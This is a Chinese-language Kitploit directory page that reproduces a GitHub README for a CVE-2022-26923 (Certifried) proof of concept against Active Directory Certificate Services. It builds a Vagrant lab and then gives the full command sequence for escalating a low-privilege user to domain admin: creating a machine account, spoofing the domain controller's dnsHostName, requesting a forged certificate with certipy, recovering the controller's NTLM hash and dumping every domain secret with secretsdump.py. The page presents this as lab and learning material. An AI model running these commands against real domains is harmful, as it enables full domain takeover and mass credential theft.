Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-26923 — 利用CVE-2022-26923的概念验证。 | Kitploit
工具/GitHubGitHub/gh-badr/cve-2022-26923
权限提升漏洞利用渗透测试学习与教育实验室与实践
GitHubgh-badr/cve-2022-26923

CVE-2022-26923

利用CVE-2022-26923的概念验证。

查看仓库
2212年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-26923

描述

此漏洞允许低权限用户在默认的 Active Directory 环境中,在安装了 Active Directory 证书服务 (AD CS) 服务器角色的情况下,将权限提升至域管理员。

该漏洞主要与 Active Directory 证书服务 (AD CS) 角色相关。AD CS 角色是一种 Windows Server 角色,允许您构建公钥基础设施 (PKI),并为您的组织提供公钥加密、数字证书和数字签名功能。AD CS 角色用于为用户、计算机和服务颁发证书。

目录

  • CVE-2022-26923
    • 描述
    • 目录
    • 前提条件
    • 环境
    • 利用
    • 概念验证
    • 参考文献

前提条件

  • Vagrant
  • VirtualBox

环境

使用的 Windows Server 版本是 Windows Server 2019 Standard Evaluation,该版本存在漏洞。 提供的 Vagrantfile(位于 Vulnerable Machine 文件夹中)将创建一个安装了并配置了 AD CS 角色的 Windows Server 2019 虚拟机,同时包含一个低权限用户,其凭据如下:

  • 用户名:user
  • 密码:V@grant1

要创建该环境,请按照以下步骤操作:

  • 首先克隆仓库并进入 CVE-2022-26923 目录:
    root@kitploit:~
    git clone https://github.com/Gh-Badr/CVE-2022-26923
    cd CVE-2022-26923
    
  • 如果需要更改默认 IP 地址,可以在 Vagrantfile 中替换以下行中的 IP 地址:
    root@kitploit:~
    config.vm.network "private_network", type: "static", ip: "192.168.33.13"
    
  • 然后运行以下命令创建虚拟机:
    root@kitploit:~
    cd 'Vulnerable Machine'
    vagrant up
    
  • 如果您没有安装 certipy 的 Linux 机器,可以使用 Attacker Machine 目录中提供的 vagrant 机器,运行以下命令:
    root@kitploit:~
    cd 'Attacker Machine'
    vagrant up
    

Attacker Machine 文件夹包含一个 vagrant 机器以及一个 shell 脚本,该脚本将安装最新版本的 certipy。您也可以使用该脚本在您的 Linux 机器上安装 certipy。

利用

要连接到攻击机器,请从 Attacker Machine 目录运行以下命令:

root@kitploit:~
vagrant ssh

现在您在攻击机器上,需要将 Windows Server 的 IP 地址添加到 hosts 文件中:

root@kitploit:~
echo "192.168.33.13   VAGRANT-K51B6U3.vagrant.local VAGRANT-K51B6U3 vagrant-VAGRANT-K51B6U3-CA vagrant.local" | sudo tee -a /etc/hosts

注意:如果您在漏洞机器的 Vagrantfile 中更改了 IP 地址,则此处也需要更改。

然后,让我们在域中创建一个新的计算机账户:

root@kitploit:~
addcomputer.py 'vagrant.local/user:V@grant1' -method LDAPS -computer-name 'CVEPC' -computer-pass 'P@ssw0rd'

要验证计算机账户是否已创建,请通过运行以下命令从 Vulnerable Machine 目录连接到漏洞机器,使用 user 和密码 V@grant1:

root@kitploit:~
vagrant ssh

然后,运行以下命令验证计算机账户已创建:

root@kitploit:~
Get-ADComputer CVEPC -Properties dnsHostName,servicePrincipalName

此机器账户的 dnsHostName 为 CVEPC.vagrant.local。我们的目标是将其更改为 VAGRANT-K51B6U3.vagrant.local,即域控制器的名称。

为此,我们需要首先从计算机账户 CVEPC 中删除服务主体名称 (SPN),运行以下命令:

root@kitploit:~
Set-ADComputer CVEPC -Properties ServicePrincipalName @{}

然后,运行以下命令将 dnsHostName 更改为 VAGRANT-K51B6U3.vagrant.local:

root@kitploit:~
Set-ADComputer CVEPC -Properties dnsHostName VAGRANT-K51B6U3.vagrant.local
  • 注意:要了解为什么我们必须删除计算机账户的 SPN,请参考项目 报告(法文)。或者,您也可以查看参考文献中的第一篇文章,其中包含了该 CVE 作者的详细解释。

现在,我们拥有一个 dnsHostName 为 VAGRANT-K51B6U3.vagrant.local 的计算机账户,我们可以通过运行以下命令,从漏洞机器请求一个恶意证书:

root@kitploit:~
certipy req -username '[email protected]' -password 'P@sww0rd' -ca vagrant-VAGRANT-K51B6U3-CA -template Machine -target VAGRANT-K51B6U3.vagrant.local

您应该会在当前目录中获得一个名为 vagrant-k51b6u3.pfx 的证书。 要验证证书是否有效,请使用 certipy 的 auth 工具运行以下命令:

root@kitploit:~
certipy auth -pfx vagrant-k51b6u3.pfx

如果证书有效,您应该会得到域控制器的 NTLM 哈希。该哈希可用于多种恶意用途。

概念验证

作为概念验证,我们可以使用 NTLM 哈希来检索域中存储的所有机密(如该 CVE 作者的文章所述)。为此,我们可以使用 impacket 套件中的 secretsdump.py 工具(该工具随最新版本的 certipy 一起安装)。

要使用该工具,请运行以下命令:

root@kitploit:~
secretsdump.py 'vagrant.local/[email protected]' -hashes :<NTLM hash>

将 <NTLM hash> 替换为在上一步中获得的 NTLM 哈希。

结果,您应该会得到域中存储的所有机密。

参考文献

  • Certifried: Active Directory 域权限提升 (CVE-2022-26923)
  • GitHub - LudovicPatho/CVE-2022-26923_AD-Certificate-Services
  • Try Hack Me - CVE-2022-26923
下载工具